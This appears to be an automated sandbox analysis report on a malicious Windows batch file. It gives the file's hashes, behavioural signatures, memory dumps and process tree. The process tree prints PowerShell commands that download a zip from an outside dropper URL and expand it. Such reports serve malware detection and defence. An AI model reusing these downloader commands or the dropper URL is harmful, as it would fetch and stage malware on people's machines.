1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1776s
max time network
1819s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14/10/2023, 01:32

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General

Target

tesy - Copy (4).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2724	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2724	powershell.exe
2504	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2724	powershell.exe
Token: SeDebugPrivilege	2504	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2768 wrote to memory of 2724	2768	cmd.exe	29
PID 2768 wrote to memory of 2724	2768	cmd.exe	29
PID 2768 wrote to memory of 2724	2768	cmd.exe	29
PID 2768 wrote to memory of 2504	2768	cmd.exe	30
PID 2768 wrote to memory of 2504	2768	cmd.exe	30
PID 2768 wrote to memory of 2504	2768	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (4).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2504

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\35SYXLEMC5WX35WINQ83.temp

Filesize
7KB

MD5
8974400cddebe76b1c9763c02accb766

SHA1
d248b3d86ebeff7500efbed2c8d25b372a4237e1

SHA256
e9b79b2df6f3a4acc65cb3cacbf69010977b261a11405c5bf01492a500d00d0e

SHA512
001fe9ebe2659a5d973bf5c9d1e872c3569025b7a8667567af0b6b470314f243e2ac720ef76381bf2604cba9ff368082bb4d1511b2a26db74b4f884c24f7c4ee

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
8974400cddebe76b1c9763c02accb766

SHA1
d248b3d86ebeff7500efbed2c8d25b372a4237e1

SHA256
e9b79b2df6f3a4acc65cb3cacbf69010977b261a11405c5bf01492a500d00d0e

SHA512
001fe9ebe2659a5d973bf5c9d1e872c3569025b7a8667567af0b6b470314f243e2ac720ef76381bf2604cba9ff368082bb4d1511b2a26db74b4f884c24f7c4ee

Download Submit
memory/2504-33-0x000007FEF4BC0000-0x000007FEF555D000-memory.dmp

Filesize
9.6MB

Download
memory/2504-32-0x0000000002600000-0x0000000002680000-memory.dmp

Filesize
512KB

Download
memory/2504-29-0x000007FEF4BC0000-0x000007FEF555D000-memory.dmp

Filesize
9.6MB

Download
memory/2504-31-0x0000000002600000-0x0000000002680000-memory.dmp

Filesize
512KB

Download
memory/2504-30-0x0000000002600000-0x0000000002680000-memory.dmp

Filesize
512KB

Download
memory/2504-27-0x0000000002410000-0x0000000002418000-memory.dmp

Filesize
32KB

Download
memory/2504-28-0x0000000002600000-0x0000000002680000-memory.dmp

Filesize
512KB

Download
memory/2504-26-0x000007FEF4BC0000-0x000007FEF555D000-memory.dmp

Filesize
9.6MB

Download
memory/2504-25-0x000000001B380000-0x000000001B662000-memory.dmp

Filesize
2.9MB

Download
memory/2724-10-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

Filesize
9.6MB

Download
memory/2724-12-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

Filesize
9.6MB

Download
memory/2724-17-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download
memory/2724-19-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

Filesize
9.6MB

Download
memory/2724-15-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download
memory/2724-14-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download
memory/2724-13-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download
memory/2724-16-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

Filesize
9.6MB

Download
memory/2724-11-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download
memory/2724-4-0x000000001B170000-0x000000001B452000-memory.dmp

Filesize
2.9MB

Download
memory/2724-9-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download
memory/2724-8-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download
memory/2724-7-0x00000000023A0000-0x00000000023A8000-memory.dmp

Filesize
32KB

Download
memory/2724-6-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download
memory/2724-5-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

Filesize
9.6MB

Download